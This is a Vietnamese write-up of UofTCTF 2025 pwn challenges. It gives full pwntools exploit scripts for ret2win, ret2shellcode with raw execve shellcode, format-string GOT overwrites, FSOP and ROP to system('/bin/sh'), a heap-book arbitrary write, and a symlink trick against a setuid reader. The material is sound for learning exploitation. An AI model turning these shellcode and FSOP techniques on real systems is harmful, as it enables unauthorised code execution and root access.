---
# System prepended metadata

title: 'UofTCTF 2025 '
tags: [fsb_advance, FSOP, writeup]

---

![image](https://hackmd.io/_uploads/HkOMiPfw1e.png)





## baby-pwn


bài đầu tiên chỉ là 1 bài warmup thôi

- ```main```

![image](https://hackmd.io/_uploads/rJ_EjwGw1l.png)


- ```vulnerable_function```

xảy ra ```BOF``` và được tặng thêm địa chỉ hàm ```secret``` ( 1 hàm để lấy flag)
![image](https://hackmd.io/_uploads/SJvHovMwyl.png)

- vậy đơn giản là 1 bài ret2win thôi

script 

```cpp
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./baby-pwn')

#p = process()
p = remote('34.162.142.123', 5000)

p.recvuntil(b'secret: ')
secret = int(p.recvline()[:-1],16)
p.sendline(b'a'*0x40 + p64(0) + p64(secret))
p.interactive()
```
![image](https://hackmd.io/_uploads/BJbnjDfw1g.png)

----------

# baby-pwn-2
## REVERSE

- bài này cũng là 1 bài warmup , ret2shellcode nên sẽ nói nhanh

đầu tiên in địa chỉ của ```s``` , ```s``` ở đây là 1 biến chứa dữ liệu của ta nhập vào , xảy ra ```BOF``` và NX cũng tắt -> ret2shellcode thôi
![image](https://hackmd.io/_uploads/S11X2DGwJe.png)

### EXPLOIT
script : 

```css
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./baby-pwn-2')

p = process()
p = remote('34.162.119.16', 5000)
p.recvuntil(b'Stack address leak: ')
leak = int(p.recvline()[:-1],16)
print(hex(leak))
input()
#shellcode = asm(shellcraft.sh())
payload = b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"

payload = payload.ljust(0x40,b'\x90')
p.sendlineafter(b'Enter some text: ',payload +  p64(0) + p64(leak))

p.interactive()
```
![image](https://hackmd.io/_uploads/SyBAjvGP1x.png)


----------------

## echo

### REVERSE

checksec : 

![image](https://hackmd.io/_uploads/H15S6PMwkg.png)

bài này nhìn vào thì là 1 bug ```fsb``` đơn giản đúng không?  :))) , tuy nhiên ta thấy ở đây ta chỉ được nhập cho ```buf``` đúng 1 byte vì ```canary``` sẽ ở vị trí ```rbp-8```  , may mắn là ```GOT``` vẫn có thể overwrite nên điều kiện cấp thiết nhất sẽ là overwrite ```__stack_chk_fail@plt``` thành ```main``` để tạo 1 loop 


![image](https://hackmd.io/_uploads/S1PG6Pfwkl.png)

lúc này thì ta phải tìm kiếm 1 địa chỉ nào đó gần giống với địa chỉ ```got``` ta cần ghi 

![image](https://hackmd.io/_uploads/S1mLAPzPye.png)

## EXPLOIT

- 1 điều quan trọng nữa là ở đây ta có thể input tận 0x100 byte và lần ghi đè của ta sẽ thực hiện trước khi ```__stack_chk_fail@GLIBC_2.4``` được gọi nên ta có thể ghi đè ```lsb``` của 1 địa chỉ nào đó khiến cho việc brute_force trở nên ít nhất có thể , và hợp lý nhất có lẽ là ```0x555555555275``` , địa chỉ got là ```0x555555558018``` , vậy ta sẽ overwrite 2 byte cuối 

![image](https://hackmd.io/_uploads/Sy9CRvMvyx.png)

và mỗi lần chạy thì thằng địa chỉ này chỉ random nửa byte -> 4 bit và tỉ lệ sẽ là 2^4 = 1/16

![image](https://hackmd.io/_uploads/SJLskOGDJe.png)


![image](https://hackmd.io/_uploads/BJy3y_zPkg.png)

okay phần khó nhất là ở bước này , các bước còn lại thì ta chỉ cần leak libc và ta có thể lựa chọn overwrite GOT hoặc ret2libc tùy thích

ở đây mình sử dụng one_gadget để overwrite ```GOT``` của ```printf```
script

```csharp=
#!/usr/bin/env python3

from pwn import *

exe = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = exe

p = remote('34.29.214.123', 5000)
#gdb.attach(p,gdbscript='''
#           brva 0x0000000000001221
#           ''')
input()

payload = b'%21065c%9$hn'
payload = payload.ljust(17,b'a')

p.send(payload+ p16(0x8018))
p.send(b'|%25$p|%21$p|')

p.recvuntil(b'|')
main = int(p.recvuntil(b'|')[:-1],16)
exe.address = main - exe.sym.main
libc_leak = int(p.recvuntil(b'|')[:-1],16)
libc.address = libc_leak - 0x2a1ca
system = libc.sym.system

print(hex(main))
print(hex(libc.address))
print(hex(system))

one_gadget = [0x583dc,0x583e3,0xef4ce,0xef52b]

log.info(f'one_gadget1: {hex(libc.address + one_gadget[3])}')
package = {
        libc.address+one_gadget[3] & 0xffff: exe.got.printf,
        libc.address+one_gadget[3] >> 16 & 0xffff: exe.got.printf+2,
    }
order = sorted(package)
payload = f'%{order[0]}c%11$hn'.encode()
payload += f'%{order[1] - order[0]}c%12$hn'.encode()
payload = payload.ljust(33,b'a')
payload += flat(
    package[order[0]],
    package[order[1]],
    )
p.send(payload)
p.send(b'a')
p.interactive()
```python

- vì tỉ lệ khá cao nên mình không cần viết script brute_force 

![image](https://hackmd.io/_uploads/S1vtxdzDJl.png)

```

-----------

## book Editor 

### REVERSE 
checksec : 

![image](https://hackmd.io/_uploads/SklOnimD1l.png)



- ở bài này ta thấy có 2 option chính , đầu tiên ta sẽ được nhập 1 size và chương trình sẽ sử dụng size đó để ```malloc``` , tiếp theo ta được nhập dữ liệu vào ```book```



```c
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+8h] [rbp-8h]
  int Choice; // [rsp+Ch] [rbp-4h]

  setup(argc, argv, envp);
  printf("How long will your book be: ");
  __isoc99_scanf("%ld", &bookSize);
  book = malloc(bookSize);
  printf("Contents of the book: ");
  read(0, book, bookSize);
  v4 = 1;
  while ( v4 )
  {
    menu();
    Choice = getChoice();
    if ( Choice == 3 )
    {
      v4 = 0;
    }
    else
    {
      if ( Choice > 3 )
        goto LABEL_10;
      if ( Choice == 1 )
      {
        editBook();
      }
      else if ( Choice == 2 )
      {
        readBook();
      }
      else
      {
LABEL_10:
        puts("That is not an option");
      }
    }
  }
  return 0;
}
```

option 1 : ```edit_book```

ta sẽ được nhập 1 địa chỉ ```4 byte``` và check nó với ```book_size``` , tiếp theo là read vào book+địa chỉ mà ta nhập với số byte là ```-địa chỉ ta nhập + book size -1``` , ở đây ```v1``` là  ```unsigned int``` và ta được nhập số âm nên xảy ra bug ```integer overflow```

```C=
unsigned __int64 editBook()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Where do you want to edit: ");
  __isoc99_scanf("%d", &v1);
  while ( getchar() != 10 )
    ;
  if ( v1 < bookSize )
  {
    printf("What do you want to edit: ");
    printf("%p", (const void *)(-v1 + bookSize - 1));
    read(0, (char *)book + v1, -v1 + bookSize - 1);
  }
  else
  {
    printf("Please dont edit ouside of the book.");
  }
  return v2 - __readfsqword(0x28u);
}
```

option 2 : ```readBook``` 

hàm này chỉ đơn giản là đọc dữ liệu từ ```book```

### EXPLOIT 

vậy ta sẽ khai thác bài này như thế nào? đầu tiên ta thấy được chắc chắn là ta sẽ read được 1 số lượng lớn byte vào địa chỉ mà ta nhập , ở đây ta có thể kết hợp thêm 1 trick từ malloc : 

 
```c
printf("How long will your book be: ");
__isoc99_scanf("%ld", &bookSize);
book = malloc(bookSize);
```

nếu ta nhập -1 vào size thì 
 
![image](https://hackmd.io/_uploads/HJhdbhmDkx.png)

ta thấy nó sẽ không phân bổ bất kỳ chunk nào , ta có thể tận dụng được điều này để ghi tùy ý và ta có thể nhập dữ liệu vào đó , ở đây suy nghĩ đầu tiên sẽ là overwrite ```ret_address``` và muốn làm điều đó thì trước tiên ta phải leak được stack , và muốn leak được ```stack``` thì phải leak được ```libc_environ```

![image](https://hackmd.io/_uploads/r1Zqbn7v1g.png)

- ta có thể dễ dàng leak libc bằng cách trên , chỉ cần ghi ```stdout``` vào ```book``` và dùng option2 để in

![image](https://hackmd.io/_uploads/HyfG7hQDkg.png)

- lúc này khi đã có libc , lúc này ta sẽ dùng nó để leak địa chỉ stack cho ta bằng cách sử dụng ```FSOP```  , hãy nhớ lại lúc nãy ta đã ghi ```book``` bằng ```stdout``` , vậy bây giờ ta sẽ ghi lại ```book``` bằng ```_IO_2_1_stdin - 8``` , vậy tại sao là -8 ở trường hợp này ?  vì lúc này ta cần leak nên ta sẽ cần ghi ```struct_IO_FILE``` của ```STDOUT``` để leak stack và khi có địa chỉ stack thì ta chỉ cần dùng ```ROP``` để ghi vào ```ret_address``` , lúc này giai đoạn cuối là overwrite ```struct_IO_FILE``` của ```STDIN``` để ta có thể thực hiện ghi tùy ý 


full script : 

```c
#!/usr/bin/env python3

from pwn import *

exe = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = exe

p = process()
#gdb.attach(p,gdbscript='''
#           b*0x000000000040132A
#           b*0x00000000004013CD
#           b*0x000000000040140F
#           ''')
input()
p.sendline(b'-1')
p.sendline(b'1')

#over write book to stdout
p.sendline(str(0x404030))
p.sendline(p64(0x404010))

# leak libc
input()
p.sendline(b'2')
p.recvuntil(b'your book: ')
libc.address = u64(p.recv(6).ljust(8,b'\x00')) - 0x2045c0
log.info(f'libc.address: {hex(libc.address)}')

input()
p.sendline(b'1')
p.sendline(b'32')  # offset from stdout to book
p.sendline(p64(libc.sym._IO_2_1_stdin_ -8 ))

#overwrite fp stdout to leak stack address
input()
p.sendline(b'1')
p.sendline(str(8 + 0xce0).encode())
fp = FileStructure()
fp.write(libc.sym.environ, 0x100)
p.sendline(bytes(fp)[:0x30])
p.recvuntil(b'0xfffff221')
stack_leak = u64(p.recv(6).ljust(8, b'\x00'))
log.success(f'{hex(stack_leak) = }')

#over write fp stdin to read
input('last input')
p.sendline(b'1')
p.sendline(str(8+0x38))
p.send(p64(stack_leak-0x150) + p64(stack_leak-0x150+0x100))

input('last input1')
rop = ROP(libc)
rop.raw(rop.ret)
rop.system(next(libc.search(b'/bin/sh\x00')))
p.sendline(rop.chain())
p.interactive()

p.interactive()
```

## Cách 2

- cách 2 cũng sẽ sử dụng ```FSOP``` , ở đây nó sẽ fake ```vtable``` bằng ```_IO_wfile_jumps```  , bước đầu tiên tương tự cách 1 là leak libc bằng cách ghi ```book``` bằng ```got_printf``` , tiếp theo tương tự ta sẽ ghi lại ```book``` bằng ```libc_base``` , cuối cùng ta sẽ tính toán offset giữa ```libc_base``` và ```_IO_2_1_stdout```  , lúc này ta sẽ fake vtable , cách này là 1 kĩ thuật nâng cao mình đọc vẫn chưa hiểu lắm nên có lẽ cần tìm hiểu thêm 

script :

```C
#!/usr/bin/env python3

from pwn import *

exe = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = exe

p = process()
gdb.attach(p,gdbscript='''
           b*0x000000000040132A
           b*0x00000000004013CD
           b*0x000000000040140F
           ''')
input()
p.sendline(b'-1')
p.sendline(b'1')
p.sendline(str(exe.sym.book))
p.send(p64(exe.got.printf))
input()
p.sendline(b'2')
p.recvuntil(b'your book: ')
libc.address = u64(p.recv(6).ljust(8,b'\x00')) - libc.sym.printf
log.info(f'libc.address: {hex(libc.address)}')

input()
p.sendline(b'1')
p.sendline(str(exe.sym.book - exe.got.printf))  # offset from stdout to book
p.send(p64(libc.address))
input()

p.sendline(b'1')

stdout_lock = libc.address +  0x205710
stdout = libc.sym['_IO_2_1_stdout_']
fake_vtable = libc.sym['_IO_wfile_jumps']-0x18

# our gadget
gadget = libc.address + 0x00000000001724f0 # add rdi, 0x10 ; jmp rcx

fake = FileStructure(0)
fake.flags = 0x3b01010101010101
fake._IO_read_end=libc.sym['system']            # the function that we will call: system()
fake._IO_save_base = gadget
fake._IO_write_end=u64(b'/bin/sh\x00')  # will be at rdi+0x10
fake._lock=stdout_lock
fake._codecvt= stdout + 0xb8
fake._wide_data = stdout+0x200          # _wide_data just need to points to empty zone
fake.unknown2=p64(0)*2+p64(stdout+0x20)+p64(0)*3+p64(fake_vtable)
# write the fake Filestructure to stdout

p.sendline(str(libc.sym._IO_2_1_stdout_ - libc.address))
p.send(bytes(fake))
p.interactive()
```

ref : 

https://niftic.ca/posts/fsop/#__libio_codecvt_length207

https://blog.kylebot.net/2022/10/22/angry-FSROP/

https://github.com/fyrepaw13/ctf_writeups/blob/main/WGMY2024/README.md#pwnscreenwriter


------------------

## sort
###     reverse
checksec : 

![image](https://hackmd.io/_uploads/r168SJ4Dkg.png)

- đây là hàm chính của bài , ta sẽ cùng phân tích nó 

đầu tiên ta thấy nó sẽ ```malloc(0x200)``` để phân bổ động 1 vùng nhớ ở heap và ta cũng sẽ được ```read``` 0x200 byte vào 

```C
void sort()
{
  _BYTE *v0; // rax
  unsigned __int8 *v1; // rax
  int i; // [rsp+Ch] [rbp-134h]
  int c; // [rsp+10h] [rbp-130h]
  int j; // [rsp+14h] [rbp-12Ch]
  int v5; // [rsp+18h] [rbp-128h]
  int v6; // [rsp+1Ch] [rbp-124h]
  _QWORD *v7; // [rsp+20h] [rbp-120h]
  char *buf; // [rsp+28h] [rbp-118h]
  _QWORD v9[34]; // [rsp+30h] [rbp-110h] BYREF

  v9[33] = __readfsqword(0x28u);
  memset(v9, 0, 256);
  v7 = v9;
  buf = (char *)malloc(0x200uLL);
  v5 = read(0, buf, 0x200uLL);
  for ( i = 0; i < v5; ++i )
  {
    v0 = (char *)v9 + buf[i];
    ++*v0;
  }
  free(buf);
  for ( c = 0; c <= 255; ++c )
  {
    v1 = (unsigned __int8 *)v7;
    v7 = (_QWORD *)((char *)v7 + 1);
    v6 = *v1;
    for ( j = 0; j < v6; ++j )
      putchar(c);
  }
}
```

vì khá ngắn nên ta sẽ phân tích từng đoạn : 

ta thấy đoạn này sẽ lặp qua các kí tự của input ta nhập vào , có nghĩa là nó sẽ dùng để đếm số lần trong kí tự 

```
  lenght = read(0, buf, 0x200uLL);
  for ( i = 0; i < lenght; ++i )
  {
    v0 = (char *)v9 + buf[i];
    ++*v0;
  }
```

vd : ABCDD thì v9[A] = 1  .... v9[D] = 2

- ta đến với đoạn tiếp theo , ở đây nó sẽ loop 256 lần , gán địa chỉ mà v7 đang giữ ```ép kiểu unsigned __int8 ``` cho v1 , sau đó nó tăng địa chỉ v7 đang trỏ lên v1 (có nghĩa là v9)  , gán giá trị của v1 cho 6 (giá trị của v9[c])  , nói tóm lại là nó sẽ in các kí tự từ thấp đến cao với số lần xuất hiện của nó

vd : input :  bbbaaaccccddd thì output sẽ là aabbbbccccddd

```C
  free(buf);
  for ( c = 0; c <= 255; ++c )
  {
    v1 = (unsigned __int8 *)v7;
    v7 = (_QWORD *)((char *)v7 + 1);
    v6 = *v1;
    for ( j = 0; j < v6; ++j )
      putchar(c);
  }
}
```

ta có thể thử nhập : 

![image](https://hackmd.io/_uploads/Bk0c7eVvyl.png)


### EXPLOIT 


vậy bug sẽ xuất hiện ở đâu , ở đây ta cần để ý 

![image](https://hackmd.io/_uploads/BJ0VIlEwJl.png)

lệnh movsxd sẽ là 1 lệnh mov có dấu , và có nghĩa là v0 = (char *)v9 + buf[i] , nếu buf[i] = 0x80 -> 0xff thì nó sẽ trở thành ```v0 = (char *)v9 - buf[i]``` -> sẽ có bug ```oob``` ở đây , và điều này có thể ghi đè được bất kì địa chỉ nào trong phạm vi 

xem ở : https://www.felixcloutier.com/x86/movsx:movsxd

- và tất nhiên target sẽ là ghi đè ```main``` để get_shell  , ta thấy con trỏ đến main là ```0x7fffffffd858```  và v9 là ```0x7fffffffd740```

![image](https://hackmd.io/_uploads/B1L4OgVwyx.png)

- trước hết thì ta cần leak địa chỉ trước , vậy ta sẽ ghi ```main``` bằng ```sort```




--------------------

racing
------------------


source : 


```C
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char **argv)
{
    if (setuid(0) != 0)
    {
        perror("Error setting UID");
        return EXIT_FAILURE;
    }

    char *fn = "/home/user/permitted";
    char buffer[128];
    char f[128];
    FILE *fp;

    if (!access(fn, R_OK))
    {
        printf("Enter file to read: ");
        fgets(f, sizeof(f), stdin);
        f[strcspn(f, "\n")] = 0;

        if (strstr(f, "flag") != NULL)
        {
            printf("Can't read the 'flag' file.\n");
            return 1;
        }

        if (strlen(f) == 0)
        {
            fp = fopen(fn, "r");
        }
        else
        {
            fp = fopen(f, "r");
        }

        fread(buffer, sizeof(char), sizeof(buffer) - 1, fp);
        fclose(fp);
        printf("%s\n", buffer);
        return 0;
    }
    else
    {
        printf("Cannot read file.\n");
        return 1;
    }
}

```

- logic rất đơn giản , đầu tiên nó setuild(0) -> setup với quyền root cho ta , tiếp theo check ```/home/user/permitted``` có được tạo với quyền ```read``` không?

- lần check tiếp theo là check chuỗi ta nhập có chuỗi "flag" không , nếu nó thì end 

- vậy bài này đơn giản là 1 bài tạo symbolic link từ ```/home/user/permitted``` đến /flag.txt và không cần nhập gì , flag sẽ in ra 

vì build docker lâu quá nên thôi mình để các bước ở đây : 

```touch permitted``` -> ```/home/user/permitted``` -> ```cd /challenge``` -> ```./challenge``` và không nhập gì và ta có flag



